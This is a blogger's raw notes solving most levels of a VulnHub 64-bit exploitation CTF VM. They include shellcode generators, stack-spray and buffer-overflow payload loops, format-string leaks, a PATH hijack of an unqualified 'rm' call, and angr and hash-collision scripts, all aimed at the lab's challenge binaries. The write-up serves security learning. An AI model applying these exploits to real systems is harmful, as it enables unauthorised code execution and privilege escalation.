I was excited to see an interesting challenge thrown down on VulnHub a while back. A new VM was added and linked to a challenge from The Pentesters offering a massive grand prize of $150. Okay, maybe not massive, but that’s a personal license for Binary Ninja plus some Threatbutt Enterprise licenses so I was in.

Ultimately I did not finish all the challenges. I got burned out after discovering that the VM was released without proper testing. ASLR was mistakenly left on which made things trickier but wasn’t that big of a deal. I was a bit frustrated that some challenges turned out to be unexploitable. After a while I lost motivation to burn hours on untested challenges. What follows below is my (very) raw notes for the challenges that I did do.

Level 1

flag{s33_64bit_1snt_4s_h4rd_4s_y0u_th0ught}

With ASLR enabled I ended up using a stack spray to deliver my shellcode since the binaries were mostly compiled without DEP enabled. My stack spray technique involved creating a python script to output a 100KB nop sled and then my shellcode. The shellcode was just a command to chmod 666 the flag. Then I created 10 environment variables each containing the payload so that when the binary is loaded, the ~100KB payload is placed on the stack in 10 places. I ran the binary in a debugger to find a decent address somewhere in the middle of the spray and then just ran the binary with the vulnerability trigger in a loop until the payload was run.

My first attempt at this technique was much more crude and ran overnight but I tweaked it over time to get it to work within a few hours. Here are the pieces…

Payload generator:

#!/usr/bin/python

sc = (
"\x48\x31\xc9\x48\x81\xe9\xf8\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xf9\xa7\xe7\x8e\xbc\x62\xfc\x51\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x93\x9c\xbf\x17\xf4\xd9"
"\xd3\x33\x90\xc9\xc8\xfd\xd4\x62\xaf\x19\x70\x40\x8f\xa3\xdf"
"\x62\xfc\x19\x70\x41\xb5\x66\xaa\x62\xfc\x51\x9a\xcf\x8a\xe1"
"\xd8\x42\xca\x67\xcf\x87\x81\xe2\xdd\x05\xd1\x3d\x9c\xd1\x82"
"\xe2\x8d\x62\xaa\x06\xb1\x2e\x01\x81\xb9\x62\xfc\x51"
)

print "\x90"*102400 + sc

Spray the stack:

set SHELLCODE{0,9}=`/tmp/chall1.py`

Loop to trigger the vulnerability (just vanilla RIP overwrite at offset 72):

while true; do ./chall1 `python -c 'print "A"*72 + "\xa7\x4d\x23\x3e\xff\x7f"'`; done

In a different shell, check if the flag is readable every 5 minutes.

while sleep 300; do if [ -r flag-level1 ]; then cat flag-level1; fi; done

Level 2

flag{st4tic_str1ngs_m4ke_l1fe_e4sy}

The password is hardcoded in the binary and can be recovered using strings etc.

n00b@64bitprimer:~/level2$ ./chall2
Please enter your password.
sup3rs3cr3tp4ssw0rd
Congrats you passed challenge2! flag{st4tic_str1ngs_m4ke_l1fe_e4sy}
n00b@64bitprimer:~/level2$

Level 3

Unexploitable - integer can be overflowed but to put a valid address at the top of the stack when it RETs you have to put the two null bytes at the beginning of the address. The strlen calls stop when they come to nulls. Strlen is used to calculate how many bytes memcpy should copy so even if the integer is overflowed, the buffer cannot be overflowed if a valid address is provided. DoS is as follows:

n00b@64bitprimer:~/level3$ python -c 'print "A"*56 + "B"*8 + "C"*194' >/tmp/3.txt

gdb-peda$ r asdf < /tmp/3.txt 
Starting program: /opt/challenges/level3/chall3 asdf < /tmp/3.txt
Valid username.
Welcome, asdf!
What is your password?
Nope. n0 shellz4u.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x1 
RBX: 0x0 
RCX: 0x7fdb7abd2710 (<__write_nocancel+7>:      cmp    rax,0xfffffffffffff001)
RDX: 0x7fdb7aea79e0 --> 0x0 
RSI: 0x7fdb7b0cb000 ("Nope. n0 shellz4u.\nrd?\n")
RDI: 0x1 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffd5047b308 ("BBBBBBBB", 'C' <repeats 192 times>...)
RIP: 0x4007b5 (<checkPasswd+191>:       ret)
R8 : 0x2e75347a6c6c6568 ('hellz4u.')
R9 : 0xfffffffffffffe00 
R10: 0xfffffffffffffdf0 
R11: 0x246 
R12: 0x400600 (<_start>:        xor    ebp,ebp)
R13: 0x7ffd5047b400 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4007aa <checkPasswd+180>:  call   0x400570 <puts@plt>
   0x4007af <checkPasswd+185>:  mov    eax,0x0
   0x4007b4 <checkPasswd+190>:  leave  
=> 0x4007b5 <checkPasswd+191>:  ret    
   0x4007b6 <main>:     push   rbp
   0x4007b7 <main+1>:   mov    rbp,rsp
   0x4007ba <main+4>:   sub    rsp,0x10
   0x4007be <main+8>:   mov    DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7ffd5047b308 ("BBBBBBBB", 'C' <repeats 192 times>...)
0008| 0x7ffd5047b310 ('C' <repeats 194 times>, "\n\022")
0016| 0x7ffd5047b318 ('C' <repeats 186 times>, "\n\022")
0024| 0x7ffd5047b320 ('C' <repeats 178 times>, "\n\022")
0032| 0x7ffd5047b328 ('C' <repeats 170 times>, "\n\022")
0040| 0x7ffd5047b330 ('C' <repeats 162 times>, "\n\022")
0048| 0x7ffd5047b338 ('C' <repeats 154 times>, "\n\022")
0056| 0x7ffd5047b340 ('C' <repeats 146 times>, "\n\022")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004007b5 in checkPasswd ()
gdb-peda$ 

Level 4

n00b@64bitprimer:~/level4$ ./chall4 test
#---------------------------------#
Welcome to notepad-- (minus minus)!
#---------------------------------#
For all your coding and note-taking
necessities. 

Press enter twice to write the file to disk.
%lx.%lx.%lx.%lx.%lx.%lx.%lx


n00b@64bitprimer:~/level4$ tail test
7ffe81b09590.2e786c252e786c25.7f587dcd101c.0.7f587dcd44c0.7ffe81b0ae3a.2e786c252e786c25

n00b@64bitprimer:~/level4$ 

Level 5

flag{sh1ft_th3_b1ts}

This challenge is pretty much made for a concolic execution framework such as angr. I basically just ripped off Dave Manouchehri’s script here and changed the “find” and “avoid” variables in path_group.explore() to match the chall5 binary. Thanks Dave!

chall5.py:

#!/usr/bin/python

import angr

def main():
        proj = angr.Project('./chall5', load_options={'auto_load_libs': False})
        path_group = proj.factory.path_group(threads=4)
        path_group.explore(find=0x40086E, avoid=0x40076D)
        return path_group.found[0].state.posix.dumps(1)

if __name__ == "__main__":
        print repr(main())
root@kali:~/Desktop# ./chall.py
...
'All you have to do is give us a valid token and you win.
Tokens should be in the following format (md5sum):
b1946ac92492d2347c6235b4d2611184
flag{sh1ft_th3_b1ts}'
root@kali:~/Desktop#

Level 6

flag{0ff_by_0n3_hmmmmm_sh*t_n33d_t0_f1x_th4t_0ne}

I don’t really remember this one. Apparently an off-by-one bug. I don’t think I spent much time on it.

#!/usr/bin/python

sc = (
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
)

print "\x90"*(63-len(sc)) + sc + "Z"
n00b@64bitprimer:~/level6$ ./chall6 `/tmp/chall6.py`
Bet ya can't pwn me!
#n00b
Bet ya can't pwn me!                                                               #n00b
$ cat flag-level6
flag{0ff_by_0n3_hmmmmm_sh*t_n33d_t0_f1x_th4t_0ne}
$ 

Took about a dozen tries (ASLR?)

Level 7

flag{bre4king_th3_bre4kp0int}

This one was pretty easy to reverse out the password as you can see in IDA:

IDA

After that I just nopped out a conditional jump in the binary to force execution into the decoding routine:

gdb-peda$ br doDec
gdb-peda$ r p4ssw0rd1337
gdb-peda$ set *(unsigned char*)0x4006f0 = 0x90 
gdb-peda$ c
Continuing.
flag{bre4king_th3_bre4kp0int}[Inferior 1 (process 59277) exited normally]
Warning: not running or target is remote
gdb-peda$ 

Level 8

Level 9

flag{b3_c4r3ful_sm4sh1ng_th3_st4ck_y0u_m1ght_k1ll_th3_c4nar1es_t00}

This is a simple stack buffer overflow too only this time there was a static stack canary. I’m guessing I saw the static canary value during debugging at some point. Anyway, I did the same stack spray technique as Level 1.

Payload:

#!/usr/bin/python

sc = (
"\x48\x31\xc9\x48\x81\xe9\xf8\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xb2\x5c\x30\xcd\x77\x21\xb4\xcc\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xd8\x67\x68\x54\x3f\x9a"
"\x9b\xae\xdb\x32\x1f\xbe\x1f\x21\xe7\x84\x3b\xbb\x58\xe0\x14"
"\x21\xb4\x84\x3b\xba\x62\x25\x61\x21\xb4\xcc\xd1\x34\x5d\xa2"
"\x13\x01\x82\xfa\x84\x7c\x56\xa1\x16\x46\x99\xa0\xd7\x2a\x55"
"\xa1\x4e\x21\xe2\x9b\xfa\xd5\xd6\xc2\x72\x21\xb4\xcc"
)

print "\x90"*102400 + sc

Slightly smarter stack spray:

n00b@64bitprimer:~/level9$ for i in `seq 1 10`; do export SHELLCODE$i=`/tmp/chall9.py`; done

Dump bug triggering input to a file:

n00b@64bitprimer:~/level9$ python -c 'print "A"*40 + "\xEF\xBE\xAD\xDE\xEF\xBE\xAD\xDE" + "B"*8 + "\x2e\x0d\x5f\xf1\xfd\x7f"' > /tmp/9.txt

Trigger bug in a loop hoping we land in stack spray:

n00b@64bitprimer:~/level9$ while true; do ./chall9 < /tmp/9.txt; done

Check for flag every 5 minutes:

n00b@64bitprimer:~/level9$ while sleep 300; do if [ -r flag-level9 ]; then cat flag-level9 && break; fi; done
flag{b3_c4r3ful_sm4sh1ng_th3_st4ck_y0u_m1ght_k1ll_th3_c4nar1es_t00}

Level 10

flag{pwnsh_1snt_4s_s4fe_4s_1t_s0unds}

This one was fun! The binary logs all your input to a file in /tmp. When you exit the binary it deletes this temporary log. Only problem is it does it by system("rm /tmp/log"); without giving a full path for rm. Exploitation then just involved copying /bin/dash to /tmp/rm, putting ‘.’ in the beginning of my $PATH, running the binary and just typing out contents of a shell script, and then exiting the binary:

n00b@64bitprimer:~/level10$ cd /tmp
n00b@64bitprimer:/tmp$ cp /bin/dash rm
n00b@64bitprimer:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
n00b@64bitprimer:/tmp$ PATH=.:$PATH /opt/challenges/level10/chall10
pwnsh> #!/bin/dash 

Invalid command! Try again.
pwnsh> cat /opt/challenges/level10/flag-level10

Invalid command! Try again.
pwnsh> exit
flag{pwnsh_1snt_4s_s4fe_4s_1t_s0unds}
We hoped you enjoy your experience with pwnsh!
Thank you, and remember, stay civil folks.
Goodbye, n00b.
n00b@64bitprimer:/tmp$ 

Level 11

no flag given :(

I made a script to generate hash collisions:

#!/usr/bin/python

import random, string

def codeOne(guess):
    """Find value that ends up with result == 103"""

    result = 0
    i = 0
    while (i < len(guess)):
        try:
            num = ord(guess[i]) - 48
        except IndexError:
            break

        if ( i & 1 ):
            result += num
        else:
            result += num * num
        i += 1

    return result

def codeTwo(guess):
    """Find value that ends up with result == 0x3CD9D601"""

    x = 0
    i = 0
    xored = 0
    while (i < len(guess)):
        shifted = ( x << 3 | x >> ( 32 - 3 ) ) & 0xFFFFFFFF
        try:
            xored ^= ord(guess[i]) + shifted
        except IndexError:
            break

        x = xored
        i += 1

    #print hex(xored) #DEBUG
    return xored

if __name__ == "__main__":

    code1 = 0
    code2 = 0

    while not code1 or not code2:
        length = random.randint(4, 32)
        rand = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(length)])

        if not code1:
            if codeOne(rand) == 103:
                print "Code One: " + rand
                code1 = 1

        if not code2:
            if codeTwo(rand) == 0x3CD9D601:
                print "Code Two: " + rand
                code2 = 1

I ran it and it found something that would work for code 1 pretty quickly. Code 2 took a lot longer. I ended up running it in 8 concurrent tmux panes to try to maximize my 8-core CPU. In hindsight I should have just used python’s threading module to execute 8 threads. Regardless, it eventually found a code that worked for code 2:

n00b@64bitprimer:~/level11$ ./chall11 086N2I XQRwwosSnyXNCLJqOPCPwM
[*] Welcome to the nuclear launch mainframe.
[*] Authorizing code one.
[*] Code one has been authorized, arming nukes now.
[*] Authorizing code two.
[*] Code two has been authorized.
[*] Launching nuclear missles now.
[*] Printing flag to screen now.
n00b@64bitprimer:~/level11$ 

Level 12

Unexploitable integer overflow for the same reason as Level 3. Below format strings shows how to leak a libc address and the canary which would be useful if int overflow was exploitable.

n00b@64bitprimer:~/level12$ ./chall12 %2\$lx.%79\$lx
Valid username.
Welcome, 7f10f013e9e0.44b19bd412e78600!
What is your password?

May be exploitable directly via format string attack, but…

Level 13

Level 14

This is the same idea as one of the other ones but it adds stack cookie protection and a format string vulnerability.

You could leak the stack cookie with the format string vulnerability, or probably even exploit it directly through the format string bug, but…

Level 15

flux capacitor. symbols stripped, runs ptrace to see if attached to debugger and alters execution flow. gets random number before asking for input.

Level 16

pwnsh v2